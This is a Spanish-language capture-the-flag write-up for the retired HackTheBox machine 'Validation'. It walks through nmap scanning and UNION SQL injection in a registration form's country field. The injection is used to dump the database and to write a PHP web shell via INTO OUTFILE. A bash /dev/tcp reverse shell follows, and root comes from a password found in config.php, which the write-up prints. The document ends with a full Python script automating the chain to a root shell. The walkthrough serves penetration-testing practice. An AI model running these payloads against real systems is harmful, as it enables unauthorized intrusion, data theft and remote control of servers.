Validation Write-Up

Fecha de lanzamiento13 Sep 2021
EstadoRetirada
DificultadEasy
PlataformaLinux
IP10.10.11.116

RECONOCIMIENTO

Para la fase de reconocimiento utilizaremos la herramienta de escaneo de redes nmap.

Procedemos a escanear todo el rango de puerto de la máquina Validation por el protocolo TCP filtrando por aquellos que estén abiertos, aplicando una plantilla de temporizado y rendimiento agresiva e indicando que no queremos que se nos aplique resolución DNS para evitar demoras a la hora de nuestro escaneo. Vamos a guardar el archivo con el nombre de openPorts.

nmap -p- --open -T5 -n -v 10.10.11.116 -oG openPorts

A continuación vamos a lanzar una serie de script básicos de enumeración propios de la herramienta y vamos a tratar de detectar las versiones y los servicios de los puertos que están abiertos. Lo guardaremos en un fichero con el nombre de targeted para poder volver a consultarlo durante el resto de fases de la intrusión.

nmap -sCV -p22,80,4566,8080 10.10.11.116 -oN targeted

EXPLOTACIÓN

Puerto 80 – HTTP

Como el único puerto que parece accesible según el reporte por el momento es el 80, vamos a introducir la dirección web en el navegador y vamos a ver que es lo que presenta la ṕagina.

Observamos que hay un campo de registro de usuario y un box donde nos deja seleccionar un país. Si intentamos introducir una inyección SQL para forzar un error en el campo del usuario no parece que surja efecto por lo que tramitaremos la petición a través de Burpsuite para poder modificar la petición POST y ver si podemos realizar algo con el box de los paises.

burpsuite &>/dev/null &; disown #--> Abrimos el Burpsuite

Una vez abierta la herramienta, configuramos el navegador (bien por medio de FoxyProxy o en los ajustes de proxy) para que nuestro puerto 8080 actue como proxy. Una vez realizadas las configuraciones vamos a intentar provocar un error mediante una inyección SQL en el campo del país.

data_post --> username=srmeirins&country=Albania'

Podemos ver que es vulnerable a inyecciones SQL por lo que vamos a intentar, mediante la inserción en Burpsuite de la data enviada en las peticiones POST, sacar el nombre de bases de datos, sus tablas, columnas y usuarios y contraseñas en caso de que existiesen.

' union select database()-- -
' union select schema_name from information_schema.schemata-- -
' union select table_name from information_schema.tables where table_schema="registration"-- -
' union select column_name from information_schema.columns where table_schema="registration" and table_name="registration"-- -
'union select group_concat(username,0x3a,userhash) from registration-- -

Si sacamos los usuario y los hashes, vemos que son de los propios usuarios que podemos crearnos nosotros así que realmente no tienen ningún uso a la hora de explotar esta máquina. Por ello vamos a probar a ver si tenemos la opción de subir un archivo (en este caso php) a la ruta donde está alojada la web (esta ruta podemos verla en el error al realizar la SQLi). Para ello mediante el Burpsuite también, tramitaremos una petición POST donde la data será la siguiente:

username=x&country=Albania' union select "Hola" into outfile "/var/www/html/prueba.txt"-- -

Vemos que tenemos capacidad de depositar contenido en una ruta, así que crearemos una WebShell en php para poder realizar comandos en la máquina víctima:

username=x&country=Albania' union select "<?php system($_REQUEST['cmd']); ?>" into outfile "/var/www/html/prueba.php"  # Creamos el archivo php en Burpsuite
nc -lvnp 443                                                                                                           # Nos ponemos a la escucha
curl 10.10.11.116/prueba.php --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.14.14/443 0>&1"'                 # Ejecutamos comando para reverse shell

Ya tenemos una terminal como usuario con bajos privilegios. La escalada de privilegios es muy sencilla, ya que en la ruta /var/www/html/ tenemos un archivo config.php y en su interior tenemos una contraseña. Sí probamos esa contraseña con ROOT vemos que ya tenemos una terminal con máximos privilegios y podemos ver las dos flags e introducirlas en HTB.

sudo su
Password: uhc-9qual-global-pw

Para realizar un automatización de todo este proceso, nos podemos crear como recurso adicional un script en Python3 al que le demos la IP y el nombre del archivo que queremos crear y automáticamente tengamos una shell como ROOT interactiva. Dejo por aquí el script y también podeis consultarlo en mi Github.

#!/usr/bin/python3

import pdb, requests, signal
from pwn import *

#Ctrol+C
def ctrl_c(sig, frame):
    print("\n\n [*] Saliendo del programa... [*]\n")
    sys.exit(1)
signal.signal(signal.SIGINT, ctrl_c)


#Comprobación de argumentos:
if len(sys.argv) !=4:
    log.failure("Número incorrecto de argumentos.\nUso: %s <filename> <ip_address> <localhost>" % sys.argv[0])
    sys.exit(1)

#Variables Globales:
ip_address = sys.argv[2]
filename = sys.argv[1]
localhost = sys.argv[3]
url = "http://%s/" % ip_address
lport = 443

#Funciones:
def archivo():
    data = {
        'username': 'loquesea',
        'country': """Albania' union select "<?php system($_REQUEST['cmd']); ?>" into outfile "/var/www/html/%s"-- -""" % filename
    }
    r = requests.post(url, data=data)

def reverse():
    data = {
        'cmd' : "bash -c 'bash -i >& /dev/tcp/%s/443 0>&1'" % localhost
    }
    r = requests.post(url + "%s" % filename, data=data)

if __name__ == '__main__':
    archivo()
    try:
        threading.Thread(target=reverse, args=()).start()
    except Exception as error:
        log.error(str(error))

    shell = listen(lport, timeout=25).wait_for_connection()
    shell.sendline("su root")
    time.sleep(3)
    shell.sendline("uhc-9qual-global-pw")
    shell.interactive()
Jorge Escrito por: